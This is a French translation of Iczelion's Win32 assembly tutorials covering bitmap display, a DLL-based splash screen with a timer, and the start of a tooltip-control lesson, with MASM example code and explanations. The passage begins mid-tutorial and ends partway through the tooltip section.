  2. Créez un contexte de dispositif en mémoire qui a le même attribut que le contexte de dispositif que nous venons juste d'obtenir. L'idée ici est de créer une sorte de feuille de dessin "cachée" sur laquelle nous pouvons dessiner le bitmap. Quand nous avons finis cette opération, il nous suffit de copier le contenu de la feuille de dessin (cachée) sur le contexte de dispositif réel, grâce à un appel de fonction. C'est un exemple technique de double-affichage, utilisé pour une rapide exposition d'images à l'écran. Vous pouvez créer cette feuille de dessin "cachée" en appelant CreateCompatibleDC.
      CreateCompatibleDC proto hdc:HDC

    Si cette fonction réussit, elle renvoie l'handle du contexte de dispositif de mémoire dans eax. hdc est l'handle du contexte de dispositif pour lequel vous souhaitez que la mémoire DC soit compatible avec lui.

  1. Maintenant que vous avez obtenu une feuille de dessin cachée, vous pouvez dessiner dessus en choisissant le bitmap. On fait ça en appelant SelectObject avec l'handle de la mémoire DC en tant que premier paramètre et l'handle de bitmap comme deuxième paramètre. SelectObject est définit ainsi :
      SelectObject proto hdc:HDC, hGdiObject:DWORD
  1. Le bitmap est dessiné sur le contexte de dispositif en mémoire maintenant. Tout ce que nous avons besoin de faire ici, c'est de le recopier sur le dispositif d'affichage réel, à savoir (qui est) le vrai contexte de dispositif. Il y a plusieurs fonctions qui peuvent exécuter cette opération comme BitBlt et StretchBlt. BitBlt recopie seulement le contenu d'un DC dans un autre donc c'est rapide, tandis que StretchBlt peut décompresser ou compresser le bitmap pour le redimensionner à la taille du secteur d'affichage de votre fenêtre. Ici, nous emploierons BitBlt pour simplifier. BitBlt a la définition suivante :
      BitBlt proto hdcDest:DWORD, nxDest:DWORD, nyDest:DWORD, nWidth:DWORD, nHeight:DWORD, hdcSrc:DWORD, nxSrc:DWORD, nySrc:DWORD, dwROP:DWORD
    hdcDest est l'handle du contexte de dispositif réel qui sert de destination pour l'opération de transfert du bitmap.
    nxDest, nyDest sont les coordonnées du coin supérieur gauche du secteur d'affichage.
    nWidth, nHeight sont la largeur et la hauteur du secteur d'affichage.
    hdcSrc est l'handle du contexte de dispositif qui sert de source dans l'opération de transfert du bitmap.
    nxSrc, nySrc sont les coordonnées du coin supérieur gauche du rectangle source.
    dwROP est le code de l'opération qui permet d'appliquer au mieux les données de couleur du bitmap avec les données de couleur mis à disposition par le secteur d'affichage, pour réaliser le résultat final. La plupart du temps, on souhaite seulement recopier les données de couleur existantes dans le nouveau.
  1. Quand vous avez affiché le bitmap, vous pouvez le supprimer avec l'appel d'API DeleteObject.
Voilà! Pour récapituler, vous avez besoin de placer le bitmap dans un script de ressource (voir plus bas, après la source du programme). Chargez-le alors en ressource avec LoadBitmap. Vous obtiendrez l'handle du bitmap. Ensuite vous obtenez l'handle du contexte de dispositif du secteur sur lequel vous souhaitez redessiner le bitmap. Alors vous créez un contexte de dispositif en mémoire qui est compatible avec le contexte de dispositif que vous venez juste d'obtenir. Choisissez le bitmap dans la mémoire DC et recopiez alors le contenu de la mémoire DC vers votre DC réel.

Example Code:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
IDB_MAIN   equ 1

.data
ClassName db "SimpleWin32ASMBitmapClass",0
AppName  db "Win32ASM Simple Bitmap Example",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hBitmap dd ?

.code
start:
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke GetCommandLine
 mov    CommandLine,eax
 invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
 invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
 LOCAL wc:WNDCLASSEX
 LOCAL msg:MSG
 LOCAL hwnd:HWND
 mov   wc.cbSize,SIZEOF WNDCLASSEX
 mov   wc.style, CS_HREDRAW or CS_VREDRAW
 mov   wc.lpfnWndProc, OFFSET WndProc
 mov   wc.cbClsExtra,NULL
 mov   wc.cbWndExtra,NULL
 push  hInstance
 pop   wc.hInstance
 mov   wc.hbrBackground,COLOR_WINDOW+1
 mov   wc.lpszMenuName,NULL
 mov   wc.lpszClassName,OFFSET ClassName
 invoke LoadIcon,NULL,IDI_APPLICATION
 mov   wc.hIcon,eax
 mov   wc.hIconSm,eax
 invoke LoadCursor,NULL,IDC_ARROW
 mov   wc.hCursor,eax
 invoke RegisterClassEx, addr wc
 INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
 mov   hwnd,eax
 invoke ShowWindow, hwnd,SW_SHOWNORMAL
 invoke UpdateWindow, hwnd
 .while TRUE
  invoke GetMessage, ADDR msg,NULL,0,0
  .break .if (!eax)
  invoke TranslateMessage, ADDR msg
  invoke DispatchMessage, ADDR msg
 .endw
 mov     eax,msg.wParam
 ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   LOCAL ps:PAINTSTRUCT
   LOCAL hdc:HDC
   LOCAL hMemDC:HDC
   LOCAL rect:RECT
   .if uMsg==WM_CREATE
      invoke LoadBitmap,hInstance,IDB_MAIN
      mov hBitmap,eax
   .elseif uMsg==WM_PAINT
      invoke BeginPaint,hWnd,addr ps
      mov    hdc,eax
      invoke CreateCompatibleDC,hdc
      mov    hMemDC,eax
      invoke SelectObject,hMemDC,hBitmap
      invoke GetClientRect,hWnd,addr rect
      invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
      invoke DeleteDC,hMemDC
      invoke EndPaint,hWnd,addr ps
 .elseif uMsg==WM_DESTROY
  invoke DeleteObject,hBitmap
  invoke PostQuitMessage,NULL
 .ELSE
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam
  ret
 .ENDIF
 xor eax,eax
 ret
WndProc endp
end start

;---------------------------------------------------------------------
;                            le script resource
;---------------------------------------------------------------------
#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"

Analyse:

Il n'y a pas grand chose à analyser dans ce tutorial ;)
#define IDB_MAIN 1
IDB_MAIN BITMAP "tweety78.bmp"
Ça définit la constante nommée IDB_MAIN, on lui associe la valeur 1. Et on emploie ensuite cette constante en tant qu'identificateur du bitmap en ressource. Le fichier bitmap qui est inclus dans la ressource est "tweety78.bmp" lequel réside dans le même dossier que le script de ressource.

   .if uMsg==WM_CREATE
      invoke LoadBitmap,hInstance,IDB_MAIN
      mov hBitmap,eax

En réponse à WM_CREATE, nous appelons LoadBitmap pour charger le bitmap en ressource, en passant l'identificateur du bitmap en ressource comme deuxième paramètre de l'API. Nous obtenons l'handle du bitmap au moment du retour de la fonction.
Maintenant que le bitmap est chargé, nous pouvons le dessiner dans le secteur client de notre fenêtre principale.

   .elseif uMsg==WM_PAINT
      invoke BeginPaint,hWnd,addr ps
      mov    hdc,eax
      invoke CreateCompatibleDC,hdc
      mov    hMemDC,eax
      invoke SelectObject,hMemDC,hBitmap
      invoke GetClientRect,hWnd,addr rect
      invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
      invoke DeleteDC,hMemDC
      invoke EndPaint,hWnd,addr ps

Nous décidons de repeindre le bitmap après la réponse du message WM_PAINT. Nous appelons d'abord BeginPaint pour obtenir l'handle du contexte de dispositif. Ensuite, nous créons une mémoire compatible DC avec CreateCompatibleDC. Puis on sélectionne le bitmap à l'intérieur de la mémoire DC grâce à SelectObject. Déterminez la dimension de votre secteur client avec GetClientRect. Maintenant nous pouvons faire apparaître le bitmap dans le secteur client en appelant BitBlt, lequel recopie le bitmap de la mémoire DC vers le DC réel. Lorsque la repeinte est effectue, nous n'avons plus besoin de la mémoire DC donc nous le supprimons grâce à DeleteDC. On fini la session de peinture avec EndPaint.

 .elseif uMsg==WM_DESTROY
  invoke DeleteObject,hBitmap
  invoke PostQuitMessage,NULL
Dès lors que nous n'avons plus besoin du bitmap, nous le supprimons avec DeleteObject.
[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 26: Splash Screen

Tutorial 26: Splash Screen

Maintenant que nous savons comment utiliser un bitmap, nous pouvons progresser en s'en servant d'une manière plus créatrice. Le 'splash screen'. Downloadez l'exemple. Mais en fait cet exemple est zippé et puisqu'il fait appelle à une DLL, il ne fonctionnera correctement qu'en l'ayant dézippé d'abord!

Théorie

Un splash screen est une fenêtre qui n'a aucune barre de titre, aucun système de menu, aucune frontière et qui affiche un bitmap un court instant avant de le faire redisparaître automatiquement. On s'en sert d'habitude au démarrage d'un programme, pour montrer un logo ou pour détourner l'attention de l'utilisateur pendant que le programme rame à cause de longues initialisations. Nous allons donc créer un splash screen dans ce tutorial.
La première étape c'est d'inclure le bitmap dans le fichier de ressource. Cependant, si vous réfléchissez, c'est une perte de mémoire précieuse de charger un bitmap qui ne sera employé qu'une seule fois. Une solution bien meilleure, c'est de créer une sorte de *DLL resource* qui contient le bitmap et qui aura pour unique but d'afficher notre Splash screen. De cette façon, vous pouvez charger la DLL lorsque vous souhaitez afficher le Splash screen puis le décharger quand il n'est plus nécessaire. Donc on aura deux modules : le programme principal et la DLL Splash. Nous plaçons le bitmap dans la DLL ressource.
Le schéma général est comme suit :
  1. Mettez le bitmap dans la DLL comme un bitmap mis en ressource.
  2. Le programme principal appelle LoadLibrary pour charger la DLL en mémoire.
  3. On appelle l'entrypoint de la DLL. On créera un minuteur (un Timer) et nous définiront la durée d'affichage du Splash screen. Ensuite nous enregistrerons et créerons une fenêtre sans titre ni bords puis nous afficherons le bitmap dans son secteur client.
  4. Quand la durée indiquée s'est écoulée, le Splash screen est enlevé de l'écran et le contrôle est rendu au programme principal.
  5. Le programme principal appelle FreeLibrary pour enlever (décharger) la DLL de la mémoire et continue ensuite avec n'importe quelle autre tâche que nous supposons avoir mis à sa suite.
Nous allons examiner les mécanismes en détail.

Chargement/Déchargement de la DLL (Load/Unload)

Vous pouvez charger dynamiquement une DLL grâce à la fonction LoadLibrary qui a la syntaxe suivante :
LoadLibrary proto lpDLLName:DWORD
Elle ne prend seulement qu'un paramètre : l'adresse du nom de la DLL que vous voulez charger en mémoire. Si l'appel est couronné de succès, il renvoie l'handle de la DLL, sinon elle renvoie un NULL.
Pour décharger une DLL, appelez FreeLibrary :
FreeLibrary proto hLib:DWORD
Il ne prend aussi qu'un seul paramètre : l'handle de la DLL que vous souhaitez décharger. Normalement, vous avez obtenu cet handle grâce à LoadLibrary.

Comment employer un 'TIMER' (minuteur) ?

D'abord, vous devez créer un Timer avec SetTimer :
SetTimer proto hWnd:DWORD, TimerID:DWORD, uElapse:DWORD, lpTimerFunc:DWORD

hWnd est le handle de la fenêtre qui recevra le message d'avis du Timer. Ce paramètre peut être NULL pour spécifier qu'il n'y a aucune fenêtre étant associée au Timer.
TimerID est une valeur définie par l'utilisateur, laquelle est employée en tant qu'ID du Timer.
uElapse est la valeur du temps d'attente en millisecondes.
lpTimerFunc est l'adresse de la fonction qui traitera les messages d'avis du Timer. Si vous passez un NULL, les messages du Timer seront envoyés à la fenêtre indiquée par le paramètre hWnd.

SetTimer renvoie l'ID du Timer en cas de succès. Autrement il renvoie un NULL. Donc il est préférable de ne pas mettre l'ID du Timer à 0.

Vous pouvez créer un Timer de deux façons :
  • Si vous avez une fenêtre et que vous souhaitez que les messages d'avis du Timer aillent vers cette fenêtre, alors vous devez passer Les quatre paramètres ci-dessus à SetTimer (le lpTimerFunc doit rester NULL).
  • Si vous n'avez pas encore de fenêtre ou bien que vous ne voulez pas traiter les messages du Timer dans la procédure de fenêtre, vous devez passer un NULL à la fonction à la place de l'handle de la fenêtre. Vous devez aussi définir l'adresse de la fonction du Timer qui traitera les messages du Timer.
Nous emploierons la première approche dans cet exemple.
Quand la période de temps mort s'est écoulée, le message WM_TIMER est envoyé à la fenêtre qui est associée au Timer. Par exemple, si vous spécifiez un uElapse de 1000, votre fenêtre recevra WM_TIMER chaque seconde.
Lorsque vous n'avez plus besoin du Timer, on le détruit avec KillTimer :
KillTimer proto hWnd:DWORD, TimerID:DWORD

Exemple:

;-----------------------------------------------------------------------
;                         Voici le programme principal:
;-----------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SplashDemoWinClass",0
AppName  db "Splash Screen Example",0
Libname db "splash.dll",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.code
start:
 invoke LoadLibrary,addr Libname
 .if eax!=NULL
    invoke FreeLibrary,eax
 .endif
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke GetCommandLine
 mov    CommandLine,eax
 invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
 invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
 LOCAL wc:WNDCLASSEX
 LOCAL msg:MSG
 LOCAL hwnd:HWND
 mov   wc.cbSize,SIZEOF WNDCLASSEX
 mov   wc.style, CS_HREDRAW or CS_VREDRAW
 mov   wc.lpfnWndProc, OFFSET WndProc
 mov   wc.cbClsExtra,NULL
 mov   wc.cbWndExtra,NULL
 push  hInstance
 pop   wc.hInstance
 mov   wc.hbrBackground,COLOR_WINDOW+1
 mov   wc.lpszMenuName,NULL
 mov   wc.lpszClassName,OFFSET ClassName
 invoke LoadIcon,NULL,IDI_APPLICATION
 mov   wc.hIcon,eax
 mov   wc.hIconSm,eax
 invoke LoadCursor,NULL,IDC_ARROW
 mov   wc.hCursor,eax
 invoke RegisterClassEx, addr wc
 INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
 mov   hwnd,eax
 invoke ShowWindow, hwnd,SW_SHOWNORMAL
 invoke UpdateWindow, hwnd
 .while TRUE
  invoke GetMessage, ADDR msg,NULL,0,0
  .break .if (!eax)
  invoke TranslateMessage, ADDR msg
  invoke DispatchMessage, ADDR msg
 .endw
 mov     eax,msg.wParam
 ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 .IF uMsg==WM_DESTROY
  invoke PostQuitMessage,NULL
 .ELSE
  invoke DefWindowProc,hWnd,uMsg,wParam,lParam
  ret
 .ENDIF
 xor eax,eax
 ret
WndProc endp
end start

;--------------------------------------------------------------------
;                         Et voici la DLL contenant le Bitmap:
;--------------------------------------------------------------------
.386
.model flat, stdcall
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
.data
BitmapName db "MySplashBMP",0
ClassName db "SplashWndClass",0
hBitMap dd 0
TimerID dd 0

.data
hInstance dd ?

.code

DllEntry proc hInst:DWORD, reason:DWORD, reserved1:DWORD
   .if reason==DLL_PROCESS_ATTACH  ; Quand la DLL est chargée.
      push hInst
      pop hInstance
      call ShowBitMap
   .endif
   mov eax,TRUE
   ret
DllEntry Endp
ShowBitMap proc
        LOCAL wc:WNDCLASSEX
        LOCAL msg:MSG
        LOCAL hwnd:HWND
        mov   wc.cbSize,SIZEOF WNDCLASSEX
        mov   wc.style, CS_HREDRAW or CS_VREDRAW
        mov   wc.lpfnWndProc, OFFSET WndProc
        mov   wc.cbClsExtra,NULL
        mov   wc.cbWndExtra,NULL
        push  hInstance
        pop   wc.hInstance
        mov   wc.hbrBackground,COLOR_WINDOW+1
        mov   wc.lpszMenuName,NULL
        mov   wc.lpszClassName,OFFSET ClassName
        invoke LoadIcon,NULL,IDI_APPLICATION
        mov   wc.hIcon,eax
        mov   wc.hIconSm,0
        invoke LoadCursor,NULL,IDC_ARROW
        mov   wc.hCursor,eax
        invoke RegisterClassEx, addr wc
        INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
           WS_POPUP,CW_USEDEFAULT,\
           CW_USEDEFAULT,250,250,NULL,NULL,\
           hInstance,NULL
        mov   hwnd,eax
        INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
        .WHILE TRUE
                INVOKE GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                INVOKE TranslateMessage, ADDR msg
                INVOKE DispatchMessage, ADDR msg
        .ENDW
        mov     eax,msg.wParam
        ret
ShowBitMap endp
WndProc proc hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        LOCAL ps:PAINTSTRUCT
        LOCAL hdc:HDC
        LOCAL hMemoryDC:HDC
        LOCAL hOldBmp:DWORD
        LOCAL bitmap:BITMAP
        LOCAL DlgHeight:DWORD
        LOCAL DlgWidth:DWORD
        LOCAL DlgRect:RECT
        LOCAL DesktopRect:RECT

        .if uMsg==WM_DESTROY
                .if hBitMap!=0
                        invoke DeleteObject,hBitMap
                .endif
                invoke PostQuitMessage,NULL
        .elseif uMsg==WM_CREATE
                invoke GetWindowRect,hWnd,addr DlgRect
                invoke GetDesktopWindow
                mov ecx,eax
                invoke GetWindowRect,ecx,addr DesktopRect
                push  0
                mov  eax,DlgRect.bottom
                sub  eax,DlgRect.top
                mov  DlgHeight,eax
                push eax
                mov  eax,DlgRect.right
                sub  eax,DlgRect.left
                mov  DlgWidth,eax
                push eax
                mov  eax,DesktopRect.bottom
                sub  eax,DlgHeight
                shr  eax,1
                push eax
                mov  eax,DesktopRect.right
                sub  eax,DlgWidth
                shr  eax,1
                push eax
                push hWnd
                call MoveWindow
                invoke LoadBitmap,hInstance,addr BitmapName
                mov hBitMap,eax
                invoke SetTimer,hWnd,1,2000,NULL
                mov TimerID,eax
        .elseif uMsg==WM_TIMER
                invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
                invoke KillTimer,hWnd,TimerID
        .elseif uMsg==WM_PAINT
                invoke BeginPaint,hWnd,addr ps
                mov hdc,eax
                invoke CreateCompatibleDC,hdc
                mov hMemoryDC,eax
                invoke SelectObject,eax,hBitMap
                mov hOldBmp,eax
                invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
                invoke StretchBlt,hdc,0,0,250,250,\
                       hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
                invoke SelectObject,hMemoryDC,hOldBmp
                invoke DeleteDC,hMemoryDC
                invoke EndPaint,hWnd,addr ps
        .elseif uMsg==WM_LBUTTONDOWN
                invoke DestroyWindow,hWnd
        .else
                invoke DefWindowProc,hWnd,uMsg,wParam,lParam
                ret
        .endif
        xor eax,eax
        ret
WndProc endp

End DllEntry

Analyse:

Dans un premier temps, nous allons nous pencher sur le code du programme principal.
 invoke LoadLibrary,addr Libname
 .if eax!=NULL
    invoke FreeLibrary,eax
 .endif
Nous appelons LoadLibrary pour charger la DLL nommée "splash.DLL". Et après ça, déchargez-la de la mémoire avec FreeLibrary. LoadLibrary ne retournera rien avant que la DLL n'en ait finie avec son initialisation..
C'est tout pour le programme principal. La partie intéressante c'est la DLL.

   .if reason==DLL_PROCESS_ATTACH  ; Quand la DLL est chargée.
      push hInst
      pop hInstance
      call ShowBitMap

Lorsque la DLL est chargée, Windows appelle son entrypoint avec le flag DLL_PROCESS_ATTACH. Nous en profitons pour afficher le Splash screen. En premier lieu, nous stockons l'instance handle de la DLL pour pouvoir l'utiliser plus tard. On appelle donc une fonction nommée ShowBitMap pour faire ce travail. ShowBitMap enregistre (une Window Class) une classe de fenêtre, et on crée la fenêtre puis on entre dans la boucle de message comme d'habitude. La partie intéressante est dans l'appel de CreateWindowEx :

        INVOKE CreateWindowEx,NULL,ADDR ClassName,NULL,\
           WS_POPUP,CW_USEDEFAULT,\
           CW_USEDEFAULT,250,250,NULL,NULL,\
           hInstance,NULL

Notez que le style de fenêtre est seulement WS_POPUP ce qui fera qu'on obtiendra une fenêtre sans bords et sans titre. Nous limitons aussi la largeur et la hauteur de la fenêtre à 250x250 pixels.
Maintenant que la fenêtre est créée, avec le message WM_CREATE nous plaçons la fenêtre au centre de l'écran grâce au code suivant.

                invoke GetWindowRect,hWnd,addr DlgRect
                invoke GetDesktopWindow
                mov ecx,eax
                invoke GetWindowRect,ecx,addr DesktopRect
                push  0
                mov  eax,DlgRect.bottom
                sub  eax,DlgRect.top
                mov  DlgHeight,eax
                push eax
                mov  eax,DlgRect.right
                sub  eax,DlgRect.left
                mov  DlgWidth,eax
                push eax
                mov  eax,DesktopRect.bottom
                sub  eax,DlgHeight
                shr  eax,1
                push eax
                mov  eax,DesktopRect.right
                sub  eax,DlgWidth
                shr  eax,1
                push eax
                push hWnd
                call MoveWindow

Ceci retrouve les dimensions de notre bureau (qui vont servir de référence) puis celles de la fenêtre en calculant les coordonnées appropriées du coin supérieur gauche de la fenêtre pour pouvoir la placer au centre.

                invoke LoadBitmap,hInstance,addr BitmapName
                mov hBitMap,eax
                invoke SetTimer,hWnd,1,2000,NULL
                mov TimerID,eax

Ensuite on charge le 'bitmap ressource' avec LoadBitmap et on crée un minuteur (un Timer) avec l'ID du Timer ayant la valeur de '1', et un intervalle de temps de 2 secondes. Le Timer enverra des messages WM_TIMER à la fenêtre toutes les 2 secondes.

        .elseif uMsg==WM_PAINT
                invoke BeginPaint,hWnd,addr ps
                mov hdc,eax
                invoke CreateCompatibleDC,hdc
                mov hMemoryDC,eax
                invoke SelectObject,eax,hBitMap
                mov hOldBmp,eax
                invoke GetObject,hBitMap,sizeof BITMAP,addr bitmap
                invoke StretchBlt,hdc,0,0,250,250,\
                       hMemoryDC,0,0,bitmap.bmWidth,bitmap.bmHeight,SRCCOPY
                invoke SelectObject,hMemoryDC,hOldBmp
                invoke DeleteDC,hMemoryDC
                invoke EndPaint,hWnd,addr ps

Quand la fenêtre reçoit le message WM_PAINT, elle crée une mémoire DC, choisit le bitmap dans la mémoire DC, obtient la taille du bitmap avec GetObject et met ensuite le bitmap sur la fenêtre en appelant StretchBlt, lequel se comporte comme BitBlt (il recopie le bitmap sur notre fenêtre) mais il est en plus capable de compresser ou de décompresser le bitmap à la dimension désirée. Dans notre cas, nous voulons que le bitmap s'accorde aux dimensions de la fenêtre, c'est pourquoi nous utilisons StretchBlt au lieu de BitBlt. Nous supprimons la mémoire DC après ça.

        .elseif uMsg==WM_LBUTTONDOWN
                invoke DestroyWindow,hWnd

Ce serait frustrant pour l'utilisateur qu'il soit obligé d'attendre que le Splash screen disparaisse. On aimerait que l'utilisateur ait le choix. Quand il clique sur Splash screen, il faudrait qu'il disparaisse. C'est pourquoi nous avons besoin de traiter le message WM_LBUTTONDOWN dans la DLL. En recevant ce message, la fenêtre est détruite par l'appel de DestroyWindow.

        .elseif uMsg==WM_TIMER
                invoke SendMessage,hWnd,WM_LBUTTONDOWN,NULL,NULL
                invoke KillTimer,hWnd,TimerID

Si l'utilisateur attend, le Splash screen disparaîtra lorsque le temps indiqué se sera écoulé (dans notre exemple, au bout de 2 secondes). On fait ça en traitant le message WM_TIMER. Après avoir reçu ce message, nous fermons la fenêtre en lui envoyant le message WM_LBUTTONDOWN. Ça permet d'éviter la duplication du code. Puisque nous n'avons plus besoin d'utiliser le Timer, nous le détruisons avec KillTimer.
Après que la fenêtre soit fermée, la DLL renverra le contrôle au programme principal.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32asm Tutorial 27: Tooltip Control

Tutorial 27: Les Bulles d'Information
(Tooltip Control)

Nous allons voir ce qu'est un tooltip et comment le créer puis l'employer. Downloadez l'exemple.

Théorie:

Un tooltip est une petite fenêtre rectangulaire qui apparaît lorsque le pointeur de la souris plane au dessus d'une zone spécifique. En se moment même vous êtes en train de lire ce tutorial, et bien regardez tout en bas à droite, il y a votre horloge. Déplacez votre souris dessus et ne la touchez plus ne cliquez sur rien… voilà ! un ToolTip vient d'apparaître ! c'est ça un ToolTip ! Chaque fenêtre tooltip contient le texte que le programmeur souhaite montrer. À cet égard, un serveur tooltip à le même rôle qu'une fenêtre de statut sauf que ce premier disparaît lorsque l'utilisateur clique ou déplace le pointeur de la souris en dehors du secteur désigné. Vous êtes probablement familiers avec les tooltips qui sont associés aux boutons de la barre d'outils. Ces "tooltips" sont utilement fourni par le contrôle de barre d'outils. Si vous souhaitez avoir des tooltips pour d'autres fenêtres ou commandes, vous avez besoin de créer votre propre contrôle tooltip.
Maintenant que vous savez ce qu'est un tooltip, on va continuer pour voir comment nous pouvons le créer puis l'employer. Les étapes sont déclinées ci-dessous :
  1. Créez un tooltip control avec CreateWindowEx.
  2. Définissez une région, qui si le pointeur de la souris passe dessus, déclenche l'affichage d'un tooltip.
  3. Soumettez cette région au tooltip control.
  4. Retransmettez les messages souris de la région soumise vers le tooltip control (cette étape peut arriver plus tôt, ça dépend de la méthode employée pour retransmettre les messages).
Nous allons ensuite examiner chaque étape en détail.

Création d'un Tooltip:

Un 'tooltip control' est un 'common control' (voir tutorial 18). En tant que tel, vous avez besoin d'appeler InitCommonControls à un moment dans votre code source pour que MASM lie implicitement votre programme avec comctl32.dll. Vous créez un tooltip control avec CreateWindowEx. Le scénario typique est le suivant :
.data
TooltipClassName db "Tooltips_class32",0
.code
.....
invoke InitCommonControls
invoke CreateWindowEx, NULL, addr TooltipClassName, NULL, TIS_ALWAYSTIP, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL
Remarquez le 'window style': TIS_ALWAYSTIP. Ce style indique que l'on affichera le tooltip lorsque le pointeur de la souris est placée au-dessus du secteur désigné, indépendamment du statut de la fenêtre qui contient ce secteur. Mis seul, si vous employez ce Flag, quand le pointeur de la souris plane sur le secteur, vous faites référence au tooltip control, et la bulle tooltip apparaîtra même si la fenêtre (ou l'objet) sous le pointeur de la souris est inactive.
Vous n'avez pas besoin d'inclure les styles WS_POPUP ni WS_EX_TOOLWINDOW dans CreateWindowEx parce que la procédure de fenêtre du tooltip control les ajoute automatiquement. Vous n'avez pas besoin non plus d'indiquer les coordonnées, la hauteur ni la largeur de la fenêtre tooltip : le tooltip control les ajustera automatiquement en fonction de la longueur de votre texte tooltip qui devra être affichéé, donc nous mettons CW_USEDEFAULT dans les quatre paramètres. Les paramètres restants ne sont négligeables.

Propriétés et définition du Tool (de l'outil).

Le tooltip control est créé mais on ne le montre pas immédiatement. Nous souhaitons que la fenêtre tooltip s'affiche seulement quand le pointeur de la souris plane sur un lieu bien défini. Il est maintenant temps de définir ce secteur. Nous appelons un tel secteur "tool". Chaque tool est un secteur rectangulaire affiché au-dessus du secteur client d'une fenêtre que le tooltip control contrôlera avec le pointeur de la souris. Si la souris passe au dessus d'un tool, la fenêtre tooltip apparaîtra. Ce secteur rectangulaire peut recouvrir le secteur client entier ou bien seulement une partie. Donc nous pouvons divisé les tools dans deux catégories : un qui est fonctionne comme une fenêtre et l'autre qui est fonctionne comme un petit secteur rectangulaire dans le secteur client d'une fenêtre. Tous les deux ont leurs propres utilisations. Un Tool qui recouvre le secteur client d'une fenêtre en entier est le plus fréquemment utilisé, avec en prime d'autres commandes tels que des boutons, des commandes d'édition etc…. Vous n'avez pas besoin de définir les coordonnées ni les dimensions de ce genre de tool : il sera forcément de la taille du secteur client de la fenêtre. Pour un Tool qui fonctionne comme un petit secteur rectangulaire sur le secteur client, on l'utilise seulement lorsque on veut diviser le secteur client d'une fenêtre en plusieurs régions sans employer de fenêtres d'enfant (Child Windows). Avec ce type de tool, vous avez besoin de définir les coordonnées du coin supérieur gauche ainsi que sa largeur et sa hauteur.
Vous définissez un tool grâce à la structure TOOLINFO laquelle a le prototype de fonction suivant :
TOOLINFO STRUCT
  cbSize             DWORD      ?
  uFlags             DWORD      ?
  hWnd               DWORD      ?
  uId                DWORD      ?
  rect               RECT      <>
  hInst              DWORD      ?
  lpszText           DWORD      ?
  lParam             LPARAM     ?
TOOLINFO ENDS
Noms | Explications
cbSize | est la taille de la structure TOOLINFO. Vous DEVEZ remplir ce membre. Windows vous renverra un flag pour dire qu'il y a une erreur si ce champ n'est pas rempli correctement et vous obtiendrez des résultats étranges, imprévisibles.
uFlags est un flag (de la taille d'un bit) qui défini les caractéristiques du tool. Cette valeur peut être une combinaison de plusieurs flags que voici :
  • TTF_IDISHWND ou "ID est hWnd". Si vous mettez ce flag, ça signifie que vous souhaitez utiliser un tool qui recouvre le secteur client tout entier d'une fenêtre (le premier type de tool vu plus haut). Si vous employez ce flag, vous devez remplir le membre uID de cette structure avec l' handle de la fenêtre que vous souhaitez employer. Si vous ne mettez pas ce Flag, c'est que vous préférez utiliser le deuxième type de tool, celui qui fonctionne comme un petit secteur rectangulaire sur votre fenêtre client. Dans ce cas, vous avez besoin de remplir le membre rect avec les dimensions du rectangle.
  • TTF_CENTERTIP Normalement la fenêtre tooltip apparaîtra à droite et au-dessous du pointeur de la souris. Si vous mettez ce Flag, la fenêtre tooltip apparaîtra toujours directement au-dessous du tool et sera placé indépendamment de la position de la souris.
  • TTF_RTLREADING Vous pouvez laisser tomber ce Flag si votre programme n'est pas conçu spécialement pour des systèmes arabes ou hébreux. Ce Flag affiche le texte tooltip en laissant la possibilité du sens de lecture. Ça ne fonctionnera pas avec d'autres systèmes (comme le notre, système Cyrillique).
